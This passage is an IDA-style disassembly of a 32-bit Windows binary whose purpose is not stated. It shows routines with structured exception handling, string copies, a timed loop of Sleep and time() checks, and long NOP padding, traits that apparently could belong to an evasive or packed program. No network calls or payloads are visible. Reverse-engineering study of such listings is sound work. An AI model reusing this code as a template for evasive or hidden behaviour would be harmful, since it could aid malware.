		mov	[ebp+var_8078],	eax
		mov	ecx, [ebp+var_8078]
		mov	[ebp+var_807C],	ecx
		mov	byte ptr [ebp+var_4], 7
		mov	ecx, [ebp+var_807C]
		call	sub_4226A0
		push	eax
		lea	edx, [ebp+var_4010]
		push	edx
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_803C]
		call	sub_4317A2
		jmp	short loc_4293F8
; ---------------------------------------------------------------------------


loc_4293CE:				; CODE XREF: sub_429039+2CAj
		lea	eax, [ebp+var_4010]
		push	eax
		lea	ecx, [ebp+var_2010]
		push	ecx
		call	dword_4330CC	; lstrcpyA
		push	2000h
		push	0
		lea	edx, [ebp+var_4010]
		push	edx
		call	sub_4318B2	; memset
		add	esp, 0Ch


loc_4293F8:				; CODE XREF: sub_429039+393j
		push	3
		push	offset aOld	; "old"
		lea	eax, [ebp+var_2010]
		push	eax
		call	dword_4331AC	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_429437
		lea	ecx, [ebp+var_4010]
		push	ecx
		call	sub_4221DB
		add	esp, 4
		test	eax, eax
		jz	short loc_429437
		push	1
		lea	edx, [ebp+var_4010]
		push	edx
		call	sub_421C92
		add	esp, 8


loc_429437:				; CODE XREF: sub_429039+3D8j
					; sub_429039+3EBj
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_42943F
		jmp	short loc_429444
; ---------------------------------------------------------------------------


loc_42943F:				; CODE XREF: sub_429039+402j
		jmp	loc_4291E8
; ---------------------------------------------------------------------------


loc_429444:				; CODE XREF: sub_429039+14Cj
					; sub_429039+1CAj ...
		mov	ecx, [ebp+var_8044]
		add	ecx, 10h
		call	sub_428280
		test	eax, eax
		jnz	short loc_42945D
		mov	[ebp+var_801C],	0


loc_42945D:				; CODE XREF: sub_429039+41Bj
		mov	al, [ebp+var_801C]
		mov	[ebp+var_8040],	al
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_4014]
		call	sub_4317A2
		mov	al, [ebp+var_8040]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_429039	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42948F	proc near		; CODE XREF: sub_429672+F0p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42948F
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_28], ecx
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4331A4	; time
		add	esp, 4
		mov	ecx, [ebp+var_28]
		add	ecx, 2040h
		push	ecx
		mov	edx, esp
		mov	[ebp+var_20], esp
		push	ecx
		mov	ecx, edx
		call	sub_431796
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_426022
		push	22h
		call	dword_4330E0	; Sleep
		push	0
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_425642
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx
		mov	[ebp+var_18], 2
		push	24h
		call	dword_4330E0	; Sleep


loc_42951C:				; CODE XREF: sub_42948F:loc_429639j
		mov	edx, [ebp+var_28]
		xor	eax, eax
		mov	al, [edx+20h]
		test	eax, eax
		jnz	loc_42963E
		cmp	[ebp+var_18], 2
		jnz	loc_42963E
		cmp	[ebp+var_18], 0
		jle	short loc_429544
		mov	ecx, [ebp+var_28]
		call	sub_429039


loc_429544:				; CODE XREF: sub_42948F+ABj
					; sub_42948F+E1j
		cmp	[ebp+var_18], 0
		jle	short loc_429555
		push	859h
		call	dword_4330E0	; Sleep


loc_429555:				; CODE XREF: sub_42948F+B9j
		cmp	[ebp+var_18], 0FFFFFFFFh
		jle	short loc_429568
		lea	ecx, [ebp+var_14]
		push	ecx
		call	dword_4331A4	; time
		add	esp, 4


loc_429568:				; CODE XREF: sub_42948F+CAj
		mov	edx, [ebp+var_28]
		mov	eax, [edx]
		cmp	eax, [ebp+var_14]
		jg	short loc_429544
		push	0
		call	dword_4332B0
		test	eax, eax
		jge	short loc_429585
		xor	al, al
		jmp	loc_429661
; ---------------------------------------------------------------------------


loc_429585:				; CODE XREF: sub_42948F+EDj
		mov	ecx, [ebp+var_28]
		call	sub_42852F
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_1C], ecx
		push	26h
		call	dword_4330E0	; Sleep
		call	dword_4332A4
		push	24h
		call	dword_4330E0	; Sleep
		cmp	[ebp+var_1C], 0
		jle	short loc_4295CC
		push	0
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_425642
		mov	[ebp+var_38], eax
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_38]
		mov	[edx], eax
		jmp	short loc_4295F7
; ---------------------------------------------------------------------------


loc_4295CC:				; CODE XREF: sub_42948F+121j
		push	20h
		call	dword_4330E0	; Sleep
		push	15182h
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_425642
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_28]
		mov	edx, [ebp+var_3C]
		mov	[ecx], edx
		push	21h
		call	dword_4330E0	; Sleep


loc_4295F7:				; CODE XREF: sub_42948F+13Bj
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4331A4	; time
		add	esp, 4
		mov	ecx, [ebp+var_28]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_14]
		jge	short loc_429639
		push	22h
		call	dword_4330E0	; Sleep
		push	15181h
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_425642
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_40]
		mov	[eax], ecx
		push	23h
		call	dword_4330E0	; Sleep


loc_429639:				; CODE XREF: sub_42948F+17Dj
		jmp	loc_42951C
; ---------------------------------------------------------------------------


loc_42963E:				; CODE XREF: sub_42948F+97j
					; sub_42948F+A1j
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		jmp	short loc_429658
; ---------------------------------------------------------------------------


loc_429649:				; DATA XREF: TEUm:00435D54o
		mov	[ebp+var_24], 0
		mov	eax, offset loc_429653
		retn
; ---------------------------------------------------------------------------


loc_429653:				; DATA XREF: sub_42948F+1BEo
		mov	al, [ebp+var_24]
		jmp	short loc_429661
; ---------------------------------------------------------------------------


loc_429658:				; CODE XREF: sub_42948F+1B8j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	al, 1


loc_429661:				; CODE XREF: sub_42948F+F1j
					; sub_42948F+1C7j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42948F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429672	proc near		; CODE XREF: TEUm:00431A49p

arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, offset dword_43BD40
		call	sub_43179C
		push	1Eh
		call	dword_4330E0	; Sleep
		mov	ecx, offset dword_439D00
		call	sub_42948F
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_429672	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4297D0	proc near		; CODE XREF: sub_428520+8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4297D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 2
		mov	ecx, [ebp+var_10]
		add	ecx, 2040h
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 1
		mov	ecx, [ebp+var_10]
		add	ecx, 203Ch
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	sub_422BB1
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		add	ecx, 4
		call	sub_4317A2
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4297D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429850	proc near		; CODE XREF: sub_4284FF+8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 4
		call	sub_4317AE
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	sub_422A1E
		mov	byte ptr [ebp+var_4], 1
		mov	ecx, [ebp+var_10]
		add	ecx, 203Ch
		call	sub_4317AE
		mov	byte ptr [ebp+var_4], 2
		mov	ecx, [ebp+var_10]
		add	ecx, 2040h
		call	sub_4317AE
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_429850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4298D0	proc near		; CODE XREF: sub_42852F+39p
					; sub_42852F+89Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4298D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4298F0	proc near		; CODE XREF: sub_42852F+82Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		call	sub_429A00
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4298F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429920	proc near		; CODE XREF: sub_42852F+6FDp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429920
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		mov	[ebp+var_18], ecx
		mov	ecx, [ebp+var_18]
		call	sub_4241A6
		push	0Ch
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], 0
		cmp	[ebp+var_14], 0
		jz	short loc_429971
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_14]
		call	sub_4241E4
		mov	[ebp+var_1C], eax
		jmp	short loc_429978
; ---------------------------------------------------------------------------


loc_429971:				; CODE XREF: sub_429920+3Ej
		mov	[ebp+var_1C], 0


loc_429978:				; CODE XREF: sub_429920+4Fj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_10]
		mov	[edx], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4299A0	proc near		; CODE XREF: sub_42852F+71Ap
					; sub_42852F+A23p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_4299C0
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_429A40
		mov	[ebp+var_8], eax
		jmp	short loc_4299C7
; ---------------------------------------------------------------------------


loc_4299C0:				; CODE XREF: sub_4299A0+Fj
		mov	[ebp+var_8], 0


loc_4299C7:				; CODE XREF: sub_4299A0+1Ej
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4299A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4299D0	proc near		; CODE XREF: sub_42852F+70Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_4299F0
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_429A50
		mov	[ebp+var_8], eax
		jmp	short loc_4299F7
; ---------------------------------------------------------------------------


loc_4299F0:				; CODE XREF: sub_4299D0+Fj
		mov	[ebp+var_8], 0


loc_4299F7:				; CODE XREF: sub_4299D0+1Ej
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4299D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A00	proc near		; CODE XREF: sub_4298F0+14p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_429A19
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_429A20


loc_429A19:				; CODE XREF: sub_429A00+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_429A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A20	proc near		; CODE XREF: sub_429A00+14p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	dword_4330AC	; InterlockedIncrement
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A40	proc near		; CODE XREF: sub_4299A0+16p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A50	proc near		; CODE XREF: sub_4299D0+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_429A72
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		call	dword_433278
		mov	[ebp+var_8], eax
		jmp	short loc_429A79
; ---------------------------------------------------------------------------


loc_429A72:				; CODE XREF: sub_429A50+Fj
		mov	[ebp+var_8], 0


loc_429A79:				; CODE XREF: sub_429A50+20j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A80	proc near		; CODE XREF: sub_42852F+814p
					; sub_429AA0+3Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_433268
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429AA0	proc near		; CODE XREF: sub_42852F+885p

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_14		= word ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	[ebp+var_24], ecx
		mov	eax, [ebp+var_24]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 0Bh
		jnz	short loc_429AD9
		mov	edx, [ebp+var_24]
		movsx	eax, word ptr [edx+8]
		test	eax, eax
		setnz	al
		jmp	short loc_429B14
; ---------------------------------------------------------------------------


loc_429AD9:				; CODE XREF: sub_429AA0+29j
		lea	ecx, [ebp+var_1C]
		call	sub_429A80
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_24]
		push	ecx
		push	0Bh
		lea	ecx, [ebp+var_1C]
		call	sub_429BE0
		movsx	edx, [ebp+var_14]
		test	edx, edx
		setnz	al
		mov	[ebp+var_20], al
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_429C40
		mov	al, [ebp+var_20]


loc_429B14:				; CODE XREF: sub_429AA0+37j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429B30	proc near		; CODE XREF: sub_42852F+86Dp

var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 2
		jnz	short loc_429B51
		mov	edx, [ebp+var_4]
		mov	ax, [ebp+arg_0]
		mov	[edx+8], ax
		jmp	short loc_429B8A
; ---------------------------------------------------------------------------


loc_429B51:				; CODE XREF: sub_429B30+12j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		cmp	edx, 0Bh
		jnz	short loc_429B6F
		movsx	eax, [ebp+arg_0]
		neg	eax
		sbb	eax, eax
		mov	ecx, [ebp+var_4]
		mov	[ecx+8], ax
		jmp	short loc_429B8A
; ---------------------------------------------------------------------------


loc_429B6F:				; CODE XREF: sub_429B30+2Cj
		mov	ecx, [ebp+var_4]
		call	sub_429BA0
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	2
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+arg_0]
		mov	[eax+8], cx


loc_429B8A:				; CODE XREF: sub_429B30+1Fj
					; sub_429B30+3Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429B30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429BA0	proc near		; CODE XREF: sub_429B30+42p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_433264
		push	eax
		call	sub_429BC0
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_429BA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429BC0	proc near		; CODE XREF: sub_429BA0+12p
					; sub_429BE0+46p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jge	short loc_429BD2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431AB2


loc_429BD2:				; CODE XREF: sub_429BC0+7j
		pop	ebp
		retn
sub_429BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429BE0	proc near		; CODE XREF: sub_429AA0+51p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_429BF3
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax


loc_429BF3:				; CODE XREF: sub_429BE0+Bj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_429C10
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	edx, ecx
		jz	short loc_429C2E


loc_429C10:				; CODE XREF: sub_429BE0+19j
		mov	dx, word ptr [ebp+arg_0]
		push	edx
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_433260
		push	eax
		call	sub_429BC0
		add	esp, 4


loc_429C2E:				; CODE XREF: sub_429BE0+2Ej
		mov	esp, ebp
		pop	ebp
		retn	8
sub_429BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429C40	proc near		; CODE XREF: sub_42852F+A40p
					; sub_42852F+AAFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_433264
		push	eax
		call	sub_429BC0
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_429C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429C60	proc near		; CODE XREF: sub_42852F+7AAp
					; sub_431CA4+11p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+0Ch], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], offset	off_434AE8
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jz	short loc_429CB4
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_429CB4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		mov	ecx, [edx]
		push	eax
		call	dword ptr [ecx+4]


loc_429CB4:				; CODE XREF: sub_429C60+33j
					; sub_429C60+40j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_429C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429CC0	proc near		; DATA XREF: TEUm:off_434AE8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_429CF0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_429CE5
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_43177E
		add	esp, 4


loc_429CE5:				; CODE XREF: sub_429CC0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429CC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429CF0	proc near		; CODE XREF: sub_42852F+7BFp
					; sub_429CC0+Ap
					; DATA XREF: ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_434AE8
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_429D1B
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		mov	ecx, [edx]
		push	eax
		call	dword ptr [ecx+8]


loc_429D1B:				; CODE XREF: sub_429CF0+17j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0
		jz	short loc_429D31
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4330A8	; LocalFree


loc_429D31:				; CODE XREF: sub_429CF0+32j
		mov	esp, ebp
		pop	ebp
		retn
sub_429CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429D40	proc near		; CODE XREF: sub_42852F+8BBp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+0B4h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_429D7E
		push	offset dword_4375F0
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_431AC0


loc_429D7E:				; CODE XREF: sub_429D40+2Aj
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	sub_429F90
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429D40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

